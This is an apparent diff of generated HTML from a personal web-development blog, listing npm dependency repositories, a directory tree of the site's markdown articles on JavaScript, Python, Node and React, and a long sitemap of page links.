+<a href="https://github.com/chaijs"><img src="https://avatars.githubusercontent.com/u/1515293?s=40&amp;v=4" alt="@chaijs**"></a><a href="https://github.com/chaijs/chai">chaijs / chai</a> <code>^ 4.2</code>
+<a href="https://github.com/microsoft"><img src="https://avatars.githubusercontent.com/u/6154722?s=40&amp;v=4" alt="@microsoft**"></a><a href="https://github.com/microsoft/dtslint">microsoft / dtslint</a> <code>^ 3.3.0</code>
+<a href="https://github.com/eslint"><img src="https://avatars.githubusercontent.com/u/6019716?s=40&amp;v=4" alt="@eslint**"></a><a href="https://github.com/eslint/eslint">eslint / eslint</a> <code>^ 6.6.0</code>
+<a href="https://github.com/fsevents"><img src="https://avatars.githubusercontent.com/u/48760001?s=40&amp;v=4" alt="@fsevents**"></a><a href="https://github.com/fsevents/fsevents">fsevents / fsevents</a> <code>~ 2.1.2</code>
+<a href="https://github.com/gulpjs"><img src="https://avatars.githubusercontent.com/u/6200624?s=40&amp;v=4" alt="@gulpjs**"></a><a href="https://github.com/gulpjs/glob-parent">gulpjs / glob-parent</a> <code>~ 5.1.0</code>
+<a href="https://github.com/sindresorhus"><img src="https://avatars.githubusercontent.com/u/170270?s=40&amp;u=34acd557a042ac478d273a4621570cadb6b0bd89&amp;v=4" alt="@sindresorhus**"></a><a href="https://github.com/sindresorhus/is-binary-path">sindresorhus / is-binary-path</a> <code>~ 2.1.0</code>
+<a href="https://github.com/micromatch"><img src="https://avatars.githubusercontent.com/u/26890389?s=40&amp;v=4" alt="@micromatch**"></a><a href="https://github.com/micromatch/is-glob">micromatch / is-glob</a> <code>~ 4.0.1</code>
+<a href="https://github.com/mochajs"><img src="https://avatars.githubusercontent.com/u/8770005?s=40&amp;v=4" alt="@mochajs**"></a><a href="https://github.com/mochajs/mocha">mochajs / mocha</a> <code>^ 7.0.0</code>
+<a href="https://github.com/jonschlinkert"><img src="https://avatars.githubusercontent.com/u/383994?s=40&amp;u=335f06277f72722162e89bd5516849f2e82f37cf&amp;v=4" alt="@jonschlinkert**"></a><a href="https://github.com/jonschlinkert/normalize-path">jonschlinkert / normalize-path</a> <code>~ 3.0.0</code>
+<a href="https://github.com/istanbuljs"><img src="https://avatars.githubusercontent.com/u/13523395?s=40&amp;v=4" alt="@istanbuljs**"></a><a href="https://github.com/istanbuljs/nyc">istanbuljs / nyc</a> <code>^ 15.0.0</code>
+<a href="https://github.com/paulmillr"><img src="https://avatars.githubusercontent.com/u/574696?s=40&amp;u=7f4396380d73af134b898c8eaf7bb171f448f40f&amp;v=4" alt="@paulmillr**"></a><a href="https://github.com/paulmillr/readdirp">paulmillr / readdirp</a> <code>~ 3.4.0</code>
+<a href="https://github.com/isaacs"><img src="https://avatars.githubusercontent.com/u/9287?s=40&amp;u=60a280618307ae965cadbe52da4baa7e351c848c&amp;v=4" alt="@isaacs**"></a><a href="https://github.com/isaacs/rimraf">isaacs / rimraf</a> <code>^ 3.0.0</code>
+<a href="https://github.com/sinonjs"><img src="https://avatars.githubusercontent.com/u/6570253?s=40&amp;v=4" alt="@sinonjs**"></a><a href="https://github.com/sinonjs/sinon">sinonjs / sinon</a> <code>^ 9.0.1</code>
+<a href="https://github.com/domenic"><img src="https://avatars.githubusercontent.com/u/617481?s=40&amp;v=4" alt="@domenic**"></a><a href="https://github.com/domenic/sinon-chai">domenic / sinon-chai</a> <code>^ 3.3.0</code>
+<a href="https://github.com/anodynos"><img src="https://avatars.githubusercontent.com/u/856453?s=40&amp;v=4" alt="@anodynos**"></a><a href="https://github.com/anodynos/upath">anodynos / upath</a> <code>^ 1.2.0</code>
+<a href="https://github.com/JedWatson"><img src="https://avatars.githubusercontent.com/u/872310?s=40&amp;u=9548676d01f104232ee42e5ac0d985db77e6a5a4&amp;v=4" alt="@JedWatson**"></a><a href="https://github.com/JedWatson/classnames">JedWatson / classnames</a> <code>2.2.6</code>
+<a href="https://github.com/bestiejs"><img src="https://avatars.githubusercontent.com/u/802850?s=40&amp;v=4" alt="@bestiejs**"></a><a href="https://github.com/bestiejs/benchmark.js">bestiejs / benchmark.js</a>benchmark
+<code>^ 1.0.0</code>
+<a href="https://github.com/browserify"><img src="https://avatars.githubusercontent.com/u/6320506?s=40&amp;v=4" alt="@browserify**"></a><a href="https://github.com/browserify/browserify">browserify / browserify</a> <code>^ 14.1.0</code>
+<a href="https://github.com/mochajs"><img src="https://avatars.githubusercontent.com/u/8770005?s=40&amp;v=4" alt="@mochajs**"></a><a href="https://github.com/mochajs/mocha">mochajs / mocha</a> <code>^ 2.1.0</code>
+<a href="https://github.com/jeromedecoster"><img src="https://avatars.githubusercontent.com/u/158071?s=40&amp;u=470a733fdc34a9fedab18ae4cf5109d2ea357425&amp;v=4" alt="@jeromedecoster**"></a><a href="https://github.com/jeromedecoster/opn-cli">jeromedecoster / opn-cli</a> <code>^ 3.1.0</code>
+<a href="https://github.com/documentationjs"><img src="https://avatars.githubusercontent.com/u/11415556?s=40&amp;v=4" alt="@documentationjs**"></a><a href="https://github.com/documentationjs/documentation">documentationjs / documentation</a> <code>^ 13.2.5</code>
+<a href="https://github.com/babel"><img src="https://avatars.githubusercontent.com/u/9637642?s=40&amp;v=4" alt="@babel**"></a><a href="https://github.com/babel/babel">babel / babel</a>@babel/core
+<code>7.12.3</code>
+<a href="https://bgoonz-blog-2-0.pages.dev/">Cloudfare-Backup</a> ↞↠ Search Website: <a href="https://www.algolia.com/realtime-search-demo/web-dev-resource-hub-9e6b8aa8-6106-44c5-9f59-ff3f9531abd4">search</a> ↞↠ <a href="https://bgoonzblog20-backup.netlify.app/#gsc.tab=0">Backup Repo Deploy</a> ↞↠ <a href="https://bgoonz.github.io/BGOONZ_BLOG_2.0/">Github pages</a> ↞↠ <a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki">Go To Site Wiki</a></p>
+<h2 id="-details-"></details></h2>
+</div>
+          <h2 id="docs-structure">Docs Structure</h2>
+          <div><p><details></p>
+<p><summary>  Docs Structure  </summary></p>
+<pre><code>├── blog
+│     ├── 300-react-questions.md
+│     ├── awesome-graphql.md
+│     ├── big-o-complexity.md
+│     ├── blog-archive.md
+│     ├── blogwcomments.md
+│     ├── data-structures.md
+│     ├── flow-control-in-python.md
+│     ├── functions-in-python.md
+│     ├── git-gateway.md
+│     ├── index.md
+│     ├── interview-questions-js.md
+│     ├── netlify-cms.md
+│     ├── platform-docs.md
+│     ├── python-for-js-dev.md
+│     ├── python-resources.md
+│     ├── web-dev-trends.md
+│     └── web-scraping.md
+├── docs
+│     ├── about
+│     │     ├── eng-portfolio.md
+│     │     ├── ideas-for-this-website.md
+│     │     ├── index.md
+│     │     ├── intrests.md
+│     │     ├── job-search.md
+│     │     └── resume.md
+│     ├── articles
+│     │     ├── basic-web-dev.md
+│     │     ├── buffers.md
+│     │     ├── dev-dep.md
+│     │     ├── event-loop.md
+│     │     ├── fs-module.md
+│     │     ├── how-the-web-works.md
+│     │     ├── http.md
+│     │     ├── index.md
+│     │     ├── install.md
+│     │     ├── intro.md
+│     │     ├── modules.md
+│     │     ├── nextjs.md
+│     │     ├── node-api-express.md
+│     │     ├── node-cli-args.md
+│     │     ├── node-common-modules.md
+│     │     ├── node-env-variables.md
+│     │     ├── node-js-language.md
+│     │     ├── node-package-manager.md
+│     │     ├── node-repl.md
+│     │     ├── node-run-cli.md
+│     │     ├── nodejs.md
+│     │     ├── nodevsbrowser.md
+│     │     ├── npm.md
+│     │     ├── npx.md
+│     │     ├── os-module.md
+│     │     ├── reading-files.md
+│     │     ├── semantic-html.md
+│     │     ├── semantic.md
+│     │     ├── the-uniform-resource-locator-(url).md
+│     │     ├── understanding-firebase.md
+│     │     ├── v8.md
+│     │     ├── web-standards-checklist.md
+│     │     ├── webdev-tools.md
+│     │     └── writing-files.md
+│     ├── audio
+│     │     ├── audio-feature-extraction.md
+│     │     ├── audio.md
+│     │     ├── dfft.md
+│     │     ├── discrete-fft.md
+│     │     ├── dtw-python-explained.md
+│     │     ├── dynamic-time-warping.md
+│     │     ├── index.md
+│     │     └── web-audio-api.md
+│     ├── career
+│     │     ├── dev-interview.md
+│     │     ├── index.md
+│     │     ├── interview-dos-n-donts.md
+│     │     └── job-boards.md
+│     ├── community
+│     │     ├── an-open-letter-2-future-developers.md
+│     │     ├── index.md
+│     │     └── video-chat.md
+│     ├── content
+│     │     ├── algo.md
+│     │     ├── archive.md
+│     │     ├── gatsby-Queries-Mutations.md
+│     │     ├── history-api.md
+│     │     ├── index.md
+│     │     ├── main-projects.md
+│     │     └── trouble-shooting.md
+│     ├── data-structures
+│     │     └── index.md
+│     ├── docs
+│     │     ├── appendix.md
+│     │     ├── art-of-command-line.md
+│     │     ├── bash.md
+│     │     ├── content.md
+│     │     ├── css.md
+│     │     ├── data-structures-docs.md
+│     │     ├── es-6-features.md
+│     │     ├── git-reference.md
+│     │     ├── git-repos.md
+│     │     ├── html-spec.md
+│     │     ├── index.md
+│     │     ├── markdown.md
+│     │     ├── no-whiteboarding.md
+│     │     ├── node-docs-complete.md
+│     │     ├── node-docs-full.md
+│     │     ├── regex-in-js.md
+│     │     └── sitemap.md
+│     ├── faq
+│     │     ├── contact.md
+│     │     ├── index.md
+│     │     └── plug-ins.md
+│     ├── gists.md
+│     ├── index.md
+│     ├── interact
+│     │     ├── callstack-visual.md
+│     │     ├── clock.md
+│     │     ├── index.md
+│     │     ├── jupyter-notebooks.md
+│     │     ├── other-sites.md
+│     │     └── video-chat.md
+│     ├── interview
+│     │     ├── index.md
+│     │     ├── job-search-nav.md
+│     │     └── review-concepts.md
+│     ├── javascript
+│     │     ├── arrow-functions.md
+│     │     ├── asyncjs.md
+│     │     ├── await-keyword.md
+│     │     ├── bigo.md
+│     │     ├── clean-code.md
+│     │     ├── constructor-functions.md
+│     │     ├── index.md
+│     │     ├── promises.md
+│     │     ├── review.md
+│     │     └── this-is-about-this.md
+│     ├── leetcode
+│     │     └── index.md
+│     ├── privacy-policy.md
+│     ├── projects
+│     │     ├── embeded-websites.md
+│     │     ├── index.md
+│     │     ├── list-of-projects.md
+│     │     ├── mini-projects.md
+│     │     └── my-websites.md
+│     ├── python
+│     │     ├── at-length.md
+│     │     ├── cheat-sheet.md
+│     │     ├── comprehensive-guide.md
+│     │     ├── examples.md
+│     │     ├── flow-control.md
+│     │     ├── functions.md
+│     │     ├── google-sheets-api.md
+│     │     ├── index.md
+│     │     ├── intro-for-js-devs.md
+│     │     ├── python-ds.md
+│     │     └── snippets.md
+│     ├── quick-reference
+│     │     ├── Emmet.md
+│     │     ├── all-emojis.md
+│     │     ├── create-react-app.md
+│     │     ├── git-bash.md
+│     │     ├── git-tricks.md
+│     │     ├── google-firebase.md
+│     │     ├── heroku-error-codes.md
+│     │     ├── index.md
+│     │     ├── installation.md
+│     │     ├── markdown-dropdowns.md
+│     │     ├── minifiction.md
+│     │     ├── new-repo-instructions.md
+│     │     ├── psql-setup.md
+│     │     ├── pull-request-rubric.md
+│     │     ├── quick-links.md
+│     │     ├── topRepos.md
+│     │     ├── understanding-path.md
+│     │     └── vscode-themes.md
+│     ├── react
+│     │     ├── ajax-n-apis.md
+│     │     ├── cheatsheet.md
+│     │     ├── createReactApp.md
+│     │     ├── demo.md
+│     │     ├── dont-use-index-as-keys.md
+│     │     ├── index.md
+│     │     ├── jsx.md
+│     │     ├── react-docs.md
+│     │     ├── react-in-depth.md
+│     │     ├── react2.md
+│     │     └── render-elements.md
+│     ├── reference
+│     │     ├── awesome-lists.md
+│     │     ├── awesome-static.md
+│     │     ├── bash-commands.md
+│     │     ├── bookmarks.md
+│     │     ├── embed-the-web.md
+│     │     ├── github-search.md
+│     │     ├── google-cloud.md
+│     │     ├── how-2-reinstall-npm.md
+│     │     ├── how-to-kill-a-process.md
+│     │     ├── index.md
+│     │     ├── installing-node.md
+│     │     ├── intro-to-nodejs.md
+│     │     ├── notes-template.md
+│     │     ├── psql.md
+│     │     ├── resources.md
+│     │     ├── vscode.md
+│     │     └── web-api&#39;s.md
+│     ├── search.md
+│     ├── sitemap.md
+│     ├── tips
+│     │     ├── array-methods.md
+│     │     ├── index.md
+│     │     └── insert-into-array.md
+│     ├── tools
+│     │     ├── Archive.md
+│     │     ├── data-structures.md
+│     │     ├── dev-utilities.md
+│     │     ├── index.md
+│     │     └── markdown-html.md
+│     └── tutorials
+│         ├── enviorment-setup.md
+│         └── index.md
+├── index.md
+├── privacy-policy.md
+├── readme.md
+├── showcase.md
+└── tree.md
+23 directories, 202 files
+</code></pre></div>
+          <h2 id="sitemap">SITEMAP</h2>
+          <div><p><a href="https://bgoonz-blog.netlify.app/"><strong>🌍⇒https://bgoonz-blog.netlify.app/🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog"><strong>🌍⇒blog🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs"><strong>🌍⇒docs🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/readme"><strong>🌍⇒readme🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/review"><strong>🌍⇒review🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/showcase"><strong>🌍⇒showcase🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/awesome-graphql"><strong>🌍⇒blog/awesome-graphql🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/big-o-complexity"><strong>🌍⇒blog/big-o-complexity🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/blog-archive"><strong>🌍⇒blog/blog-archive🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/blogwcomments"><strong>🌍⇒blog/blogwcomments🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/data-structures"><strong>🌍⇒blog/data-structures🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/flow-control-in-python"><strong>🌍⇒blog/flow-control-in-python🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/functions-in-python"><strong>🌍⇒blog/functions-in-python🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/git-gateway"><strong>🌍⇒blog/git-gateway🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/interview-questions-js"><strong>🌍⇒blog/interview-questions-js🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/media-queries-explained"><strong>🌍⇒blog/media-queries-explained🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/my-medium"><strong>🌍⇒blog/my-medium🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/netlify-cms"><strong>🌍⇒blog/netlify-cms🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/platform-docs"><strong>🌍⇒blog/platform-docs🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/python-for-js-dev"><strong>🌍⇒blog/python-for-js-dev🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/python-resources"><strong>🌍⇒blog/python-resources🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/web-dev-trends"><strong>🌍⇒blog/web-dev-trends🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/blog/web-scraping"><strong>🌍⇒blog/web-scraping🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/about"><strong>🌍⇒docs/about🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles"><strong>🌍⇒docs/articles🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/audio"><strong>🌍⇒docs/audio🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/career"><strong>🌍⇒docs/career🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/community"><strong>🌍⇒docs/community🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/content"><strong>🌍⇒docs/content🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs"><strong>🌍⇒docs/docs🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/faq"><strong>🌍⇒docs/faq🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/gallery"><strong>🌍⇒docs/gallery🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/interact"><strong>🌍⇒docs/interact🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/javascript"><strong>🌍⇒docs/javascript🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/leetcode"><strong>🌍⇒docs/leetcode🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/other-content"><strong>🌍⇒docs/other-content🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/privacy-policy"><strong>🌍⇒docs/privacy-policy🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/projects"><strong>🌍⇒docs/projects🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/python"><strong>🌍⇒docs/python🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference"><strong>🌍⇒docs/quick-reference🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/react"><strong>🌍⇒docs/react🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference"><strong>🌍⇒docs/reference🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/search"><strong>🌍⇒docs/search🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/sitemap"><strong>🌍⇒docs/sitemap🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/tools"><strong>🌍⇒docs/tools🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/tutorials"><strong>🌍⇒docs/tutorials🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/about/eng-portfolio"><strong>🌍⇒docs/about/eng-portfolio🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/about/ideas-for-this-website"><strong>🌍⇒docs/about/ideas-for-this-website🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/about/intrests"><strong>🌍⇒docs/about/intrests🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/about/interview"><strong>🌍⇒docs/about/interview🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/about/resume"><strong>🌍⇒docs/about/resume🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/basic-web-dev"><strong>🌍⇒docs/articles/basic-web-dev🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/buffers"><strong>🌍⇒docs/articles/buffers🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/dev-dep"><strong>🌍⇒docs/articles/dev-dep🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/event-loop"><strong>🌍⇒docs/articles/event-loop🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/fs-module"><strong>🌍⇒docs/articles/fs-module🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/how-the-web-works"><strong>🌍⇒docs/articles/how-the-web-works🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/http"><strong>🌍⇒docs/articles/http🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/install"><strong>🌍⇒docs/articles/install🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/intro"><strong>🌍⇒docs/articles/intro🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/media-queries-no-more"><strong>🌍⇒docs/articles/media-queries-no-more🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/module-exports"><strong>🌍⇒docs/articles/module-exports🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/nextjs"><strong>🌍⇒docs/articles/nextjs🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/node-api-express"><strong>🌍⇒docs/articles/node-api-express🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/node-cli-args"><strong>🌍⇒docs/articles/node-cli-args🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/node-common-modules"><strong>🌍⇒docs/articles/node-common-modules🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/node-env-variables"><strong>🌍⇒docs/articles/node-env-variables🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/node-js-language"><strong>🌍⇒docs/articles/node-js-language🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/node-package-manager"><strong>🌍⇒docs/articles/node-package-manager🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/node-repl"><strong>🌍⇒docs/articles/node-repl🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/node-run-cli"><strong>🌍⇒docs/articles/node-run-cli🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/nodejs"><strong>🌍⇒docs/articles/nodejs🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/nodevsbrowser"><strong>🌍⇒docs/articles/nodevsbrowser🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/npm"><strong>🌍⇒docs/articles/npm🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/npx"><strong>🌍⇒docs/articles/npx🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/os-module"><strong>🌍⇒docs/articles/os-module🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/package-lock"><strong>🌍⇒docs/articles/package-lock🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/reading-files"><strong>🌍⇒docs/articles/reading-files🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/semantic"><strong>🌍⇒docs/articles/semantic🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/semantic-html"><strong>🌍⇒docs/articles/semantic-html🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/the-uniform-resource-locator-(url"><strong>🌍⇒docs/articles/the-uniform-resource-locator-(url)🗺️</strong></a>&gt;)
+<a href="https://bgoonz-blog.netlify.app/docs/articles/understanding-firebase"><strong>🌍⇒docs/articles/understanding-firebase🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/v8"><strong>🌍⇒docs/articles/v8🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/web-standards-checklist"><strong>🌍⇒docs/articles/web-standards-checklist🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/webdev-tools"><strong>🌍⇒docs/articles/webdev-tools🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/write-2-json-with-python"><strong>🌍⇒docs/articles/write-2-json-with-python🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/articles/writing-files"><strong>🌍⇒docs/articles/writing-files🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/audio/audio"><strong>🌍⇒docs/audio/audio🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/audio/audio-feature-extraction"><strong>🌍⇒docs/audio/audio-feature-extraction🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/audio/dfft"><strong>🌍⇒docs/audio/dfft🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/audio/discrete-fft"><strong>🌍⇒docs/audio/discrete-fft🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/audio/dtw-python-explained"><strong>🌍⇒docs/audio/dtw-python-explained🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/audio/dynamic-time-warping"><strong>🌍⇒docs/audio/dynamic-time-warping🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/audio/web-audio-api"><strong>🌍⇒docs/audio/web-audio-api🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/career/confidence"><strong>🌍⇒docs/career/confidence🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/career/dev-interview"><strong>🌍⇒docs/career/dev-interview🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/career/interview-dos-n-donts"><strong>🌍⇒docs/career/interview-dos-n-donts🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/career/job-boards"><strong>🌍⇒docs/career/job-boards🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/community/an-open-letter-2-future-developers"><strong>🌍⇒docs/community/an-open-letter-2-future-developers🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/community/video-chat"><strong>🌍⇒docs/community/video-chat🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/content/algo"><strong>🌍⇒docs/content/algo🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/content/archive"><strong>🌍⇒docs/content/archive🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/content/data-structures-algo"><strong>🌍⇒docs/content/data-structures-algo🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/content/gatsby-Queries-Mutations"><strong>🌍⇒docs/content/gatsby-Queries-Mutations🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/content/history-api"><strong>🌍⇒docs/content/history-api🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/content/projects"><strong>🌍⇒docs/content/projects🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/content/recent-projects"><strong>🌍⇒docs/content/recent-projects🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/content/trouble-shooting"><strong>🌍⇒docs/content/trouble-shooting🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/appendix"><strong>🌍⇒docs/docs/appendix🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/bash"><strong>🌍⇒docs/docs/bash🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/content"><strong>🌍⇒docs/docs/content🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/css"><strong>🌍⇒docs/docs/css🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/data-structures-docs"><strong>🌍⇒docs/docs/data-structures-docs🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/git-reference"><strong>🌍⇒docs/docs/git-reference🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/git-repos"><strong>🌍⇒docs/docs/git-repos🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/html-spec"><strong>🌍⇒docs/docs/html-spec🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/markdown"><strong>🌍⇒docs/docs/markdown🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/no-whiteboarding"><strong>🌍⇒docs/docs/no-whiteboarding🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/node-docs-complete"><strong>🌍⇒docs/docs/node-docs-complete🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/node-docs-full"><strong>🌍⇒docs/docs/node-docs-full🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/regex-in-js"><strong>🌍⇒docs/docs/regex-in-js🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/docs/sitemap"><strong>🌍⇒docs/docs/sitemap🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/faq/contact"><strong>🌍⇒docs/faq/contact🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/faq/plug-ins"><strong>🌍⇒docs/faq/plug-ins🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/interact/callstack-visual"><strong>🌍⇒docs/interact/callstack-visual🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/interact/clock"><strong>🌍⇒docs/interact/clock🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/interact/jupyter-notebooks"><strong>🌍⇒docs/interact/jupyter-notebooks🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/interact/other-sites"><strong>🌍⇒docs/interact/other-sites🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/interact/video-chat"><strong>🌍⇒docs/interact/video-chat🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/javascript/arrow-functions"><strong>🌍⇒docs/javascript/arrow-functions🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/javascript/await-keyword"><strong>🌍⇒docs/javascript/await-keyword🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/javascript/bigo"><strong>🌍⇒docs/javascript/bigo🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/javascript/clean-code"><strong>🌍⇒docs/javascript/clean-code🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/javascript/constructor-functions"><strong>🌍⇒docs/javascript/constructor-functions🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/javascript/promises"><strong>🌍⇒docs/javascript/promises🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/javascript/review"><strong>🌍⇒docs/javascript/review🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/javascript/this-is-about-this"><strong>🌍⇒docs/javascript/this-is-about-this🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/projects/medium-links"><strong>🌍⇒docs/projects/medium-links🗺️</strong></a>
